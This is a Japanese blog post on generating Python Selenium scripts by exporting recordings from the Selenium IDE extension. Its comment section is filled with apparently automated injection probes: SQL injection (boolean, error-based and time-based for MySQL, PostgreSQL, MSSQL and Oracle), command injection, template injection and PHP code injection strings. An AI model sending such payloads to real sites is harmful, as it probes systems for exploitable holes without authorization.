【Python】web画面の自動操作における実装が面倒な場合「Selemium IDE」との組み合わせで楽をする方法【Selenium】

カテゴリ:Python 投稿:2022年7月30日0:13、更新:2022年7月30日0:16

・記事の概要 

Pythonでseleniumライブラリを使って画面操作の自動化などが可能ですが

要素取得などコーディングが面倒な部分を「Selenium IDE」を組み合わせて使って

解消する方法を記載します。


・この記事の対象 

Pythonで業務効率化をしている、しようと考えている方

・画面自動操作をPythonで楽に実装したい方

・seleniumライブラリを使いつつ、画面要素を取得しながらの実装が面倒な方


・seleniumライブラリを使っての自動化 

Pythonで画面操作の自動化をする場合は

おおよそ以下のようなコーディングをしていくことになるかと思います。


(例なので短いですが)

ブラウザを立ち上げて、対象URLに飛んで、画面の要素を指定しながら処理をしていく

というような流れですね。

ただ、この画面要素の指定ってブラウザの開発者ツールを参照しつつで

結構面倒臭かったりもします

from selenium import webdriver

from webdriver_manager.chrome import ChromeDriverManager

from selenium.webdriver.common.by import By


###ブラウザ自動処理開始###

#ブラウザの立ち上げ

driver = webdriver.Chrome(ChromeDriverManager().install())

#実際のURL指定

driver.get("https://www.data.jma.go.jp/gmd/risk/obsdl/index.php")


#項目の選択

##項目を選ぶへ

element_select = driver.find_element(By.ID, "elementButton")

element_select.click()


・楽な方法はないか 

自動化すると楽なんですが、自動化までの過程も楽をしたいと思いました。

そこで元々知っていたブラウザ拡張機能の「Selenium IDE」側を調べてみると、

良さそうな方法があったのです。


結論だけ先に言えば

「Selenium IDE」で自動化したい画面操作の録画を実行し、pyファイルにエクスポートする

というものになります。


また「Selenium IDE」自体の利用方法は以下に記事にしていますので

必要に応じて参照ください!

seleniumを使ったノーコードでのブラウザ自動操作について


・実際の方法 

Selenium IDEの録画方法などは割愛(上記記事参照)し、

録画後からの説明をします。



selenium保存後


といっても、やることは単純です。

上記画像のように

録画と保存後に左側にプログラム名が表示されるので、その右側をクリックします。

そうすると選択肢が複数出るので「Export」を選択してください。


selenium Export


するとExport画面が表示されるので、Pythonを指定してExportを実行します。

こうすることでpyファイルがダウンロードされます。


・pyファイルの中身 

中身を実際に見てみましょう。


実際のpyファイル

ご覧の通り、クラスが定義され、いくつかの関数が組み込まれています。


ここでいうと「test_toPython」関数内に

上記で記載したような「画面要素の指定」+「処理」が順に書かれていますね。

特に問題がなければパッケージ内にこのファイルを配置し、

元処理側から適宜呼び出し実行をかければかなり楽ができそうです。



もし画面操作上で無駄な動作も含まれてしまっていたら、

該当行を削除などチューニングも必要になりますが、

やはり、0から書くよりは楽ができそうですね。


・まとめ 

いかがだったでしょうか。

Pythonは業務効率化にも利用しやすいですが、

どうしても画面自動化をしようとすると作成が面倒です。

今回の方法でそれが少しでも解消でき、皆様の参考になれば幸いです。



また自動化を学習、特にPythonなどのプログラミング言語を習得する際には、

以下のようなオンライン学習(動画学習)サービスがオススメです!

非エンジニアの方でも難なく学習可能で、定常作業をPythonで自動化できる講義もあるので

動画の解説を見て、手を実際に動かして、効率化技術を習得しましょう!

 

コメント一覧

名無し / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:41
123456
expr 978673111 + 814384611

名無し / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
123456|expr 860806325 + 974713788

名無し / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
123456

/*1*/{{802374750+936602902}} / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
123456$(expr 845287933 + 937282839)

名無し / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
123456

${914918021+894487224} / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
123456&set /A 913707773+844533197

${@var_dump(md5(187144415))}; / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
123456'and/**/extractvalue(1,concat(char(126),md5(1608776810)))and'

名無し / 2023年9月13日7:41
123456

${865525698+802990326} / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
123456

${(907870603+984096182)?c} / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
expr 931588382 + 830770528

'-var_dump(md5(371000658))-' / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
123456"and/**/extractvalue(1,concat(char(126),md5(1382463040)))and"

名無し / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
${918651514+932990372}

名無し / 2023年9月13日7:41
123456/**/and+0=0

名無し / 2023年9月13日7:41
${@var_dump(md5(117211591))};

名無し / 2023年9月13日7:41
extractvalue(1,concat(char(126),md5(1645456604)))

名無し / 2023年9月13日7:41
123456/**/and+0=6

<%- 897164743+857933091 %> / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
'-var_dump(md5(171737416))-'

名無し / 2023年9月13日7:41
123456'and(select'1'from/**/cast(md5(1369931007)as/**/int))>'0

名無し / 2023年9月13日7:41
123456'and'd'='d

名無し / 2023年9月13日7:41
/*1*/{{969303276+950604273}}

名無し / 2023年9月13日7:41
123456/**/and/**/cast(md5('1751855112')as/**/int)>0

名無し / 2023年9月13日7:41
123456'and'u'='c

名無し / 2023年9月13日7:41
${871665983+888684850}

名無し / 2023年9月13日7:41
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1910912938')))

名無し / 2023年9月13日7:41
123456"and"d"="d

名無し / 2023年9月13日7:41
${(820191571+855258828)?c}

名無し / 2023年9月13日7:41
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1057491843')))>'0

名無し / 2023年9月13日7:41
123456"and"m"="w

名無し / 2023年9月13日7:41
#set($c=900094512+844622849)${c}$c

名無し expr 803780191 + 941694737 / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
123456鎈'"\(

名無し / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
<%- 970087734+864665193 %>

名無し|expr 998867682 + 816621754 / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
123456'"\(

名無し / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
123456

名無し&set /A 958147713+899514268 / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
(select*from(select+sleep(0)union/**/select+1)a)

expr 810104146 + 952400712 / 2023年9月13日7:41
123456

名無し / 2023年9月13日7:41
(select*from(select+sleep(2)union/**/select+1)a)

名無し / 2023年9月13日7:41
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

名無し / 2023年9月13日7:41
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

名無し / 2023年9月13日7:42
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

名無し / 2023年9月13日7:42
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

名無し / 2023年9月13日7:42
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

名無し / 2023年9月13日7:42
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

名無し / 2023年9月13日7:42
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

名無し / 2023年9月13日7:42
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

名無し / 2023年9月13日7:42
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

名無し / 2023年9月13日7:42
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

名無し / 2023年9月13日7:42
123456'and(select+1)>0waitfor/**/delay'0:0:0

名無し / 2023年9月13日7:42
123456'and(select+1)>0waitfor/**/delay'0:0:2

名無し / 2023年9月13日7:42
123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('x',0)

名無し鎈'"\( / 2023年9月13日7:42
123456

名無し / 2023年9月13日7:42
123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('s',2)

名無し'"\( / 2023年9月13日7:42
123456

名無し / 2023年9月13日7:42
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('l',0)='l

名無し / 2023年9月13日7:42
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('i',2)='i

名無し'and'x'='x / 2023年9月13日7:43
123456

名無し'and'd'='h / 2023年9月13日7:43
123456

名無し"and"p"="p / 2023年9月13日7:43
123456

名無し"and"o"="l / 2023年9月13日7:43
123456

名無し / 2023年11月7日15:30
123456

名無し expr 892858899 + 860117147 / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
${@var_dump(md5(126163810))};

名無し|expr 848590488 + 879452261 / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
'-var_dump(md5(448266900))-'

名無し / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
123456

/*1*/{{964008555+842902074}} / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
123456

名無し&set /A 999425769+935505760 / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
123456

${808508224+996515972} / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
123456

expr 979227327 + 949392855 / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
${822224983+920674836}

${(818810167+833126764)?c} / 2023年11月7日15:36
123456

${@var_dump(md5(706552323))}; / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
123456
expr 974647838 + 993188392

'-var_dump(md5(371147210))-' / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
123456|expr 862329718 + 949513814

名無し / 2023年11月7日15:36
123456

${851143537+938880725} / 2023年11月7日15:36
123456

<%- 891545384+981503664 %> / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
123456$(expr 826150651 + 811004179)

名無し / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
/*1*/{{995789766+823410795}}

名無し / 2023年11月7日15:36
123456&set /A 831528661+989599822

名無し / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:36
${988126224+939935566}

名無し / 2023年11月7日15:36
expr 945564501 + 918816415

名無し / 2023年11月7日15:36
${(816001495+861324146)?c}

名無し鎈'"\( / 2023年11月7日15:36
123456

名無し / 2023年11月7日15:37
#set($c=998803367+846960035)${c}$c

名無し'"\( / 2023年11月7日15:37
123456

名無し / 2023年11月7日15:37
<%- 923947420+877190616 %>

名無し / 2023年11月7日15:37
123456'and/**/extractvalue(1,concat(char(126),md5(1668266113)))and'

名無し / 2023年11月7日15:37
123456"and/**/extractvalue(1,concat(char(126),md5(1959845054)))and"

名無し / 2023年11月7日15:37
extractvalue(1,concat(char(126),md5(1446826861)))

名無し / 2023年11月7日15:37
123456'and(select'1'from/**/cast(md5(1501125426)as/**/int))>'0

名無し / 2023年11月7日15:37
123456/**/and/**/cast(md5('1890143578')as/**/int)>0

名無し / 2023年11月7日15:37
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1937812942')))

名無し / 2023年11月7日15:37
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1984640856')))>'0

名無し'and'r'='r / 2023年11月7日15:37
123456

名無し / 2023年11月7日15:37
123456鎈'"\(

名無し'and'c'='z / 2023年11月7日15:37
123456

名無し / 2023年11月7日15:37
123456'"\(

名無し"and"x"="x / 2023年11月7日15:37
123456

名無し"and"p"="c / 2023年11月7日15:37
123456

名無し / 2023年11月7日15:38
123456/**/and+0=0

名無し / 2023年11月7日15:38
123456/**/and+3=5

名無し / 2023年11月7日15:38
123456'and'w'='w

名無し / 2023年11月7日15:38
123456'and'y'='r

名無し / 2023年11月7日15:38
123456"and"x"="x

名無し / 2023年11月7日15:38
123456"and"h"="z

名無し / 2023年11月7日15:38
(select*from(select+sleep(0)union/**/select+1)a)

名無し / 2023年11月7日15:38
(select*from(select+sleep(2)union/**/select+1)a)

名無し / 2023年11月7日15:38
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

名無し / 2023年11月7日15:39
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

名無し / 2023年11月7日15:39
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

名無し / 2023年11月7日15:39
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

名無し / 2023年11月7日15:39
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

名無し / 2023年11月7日15:39
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

名無し / 2023年11月7日15:39
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

名無し / 2023年11月7日15:39
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

名無し / 2023年11月7日15:39
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

名無し / 2023年11月7日15:39
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

名無し / 2023年11月7日15:39
123456'and(select+1)>0waitfor/**/delay'0:0:0

名無し / 2023年11月7日15:39
123456'and(select+1)>0waitfor/**/delay'0:0:2

名無し / 2023年11月7日15:39
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('b',0)

名無し / 2023年11月7日15:39
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('r',2)

名無し / 2023年11月7日15:39
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',0)='g

名無し / 2023年11月7日15:39
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('d',2)='d

コメント投稿ページへ


書いている人

のぎ
PG->SE->PMとして働き、現在はIT企業で新卒採用の担当をしています。長期育休取得明けで0歳娘の対応に毎日バタバタです。笑
採用業務をしつつ社内利用ツールなど作成しており、当ブログも勉強の一環でコーディングして作成しています。 エンジニア領域、人事・採用領域、育児関連など発信していきます。